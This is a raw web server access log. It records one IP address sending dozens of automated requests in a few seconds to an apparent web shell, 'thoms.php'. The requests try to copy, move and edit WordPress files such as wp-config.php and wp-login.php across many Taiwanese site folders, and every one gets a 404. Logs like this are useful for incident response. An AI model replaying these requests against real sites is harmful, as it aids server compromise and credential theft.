45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?edit=wp-activate.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:31 -0400] "GET /ba-guo.com.tw/cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/ba-guo.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fcgi-bin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?edit=wp-config.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?edit=locoy.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
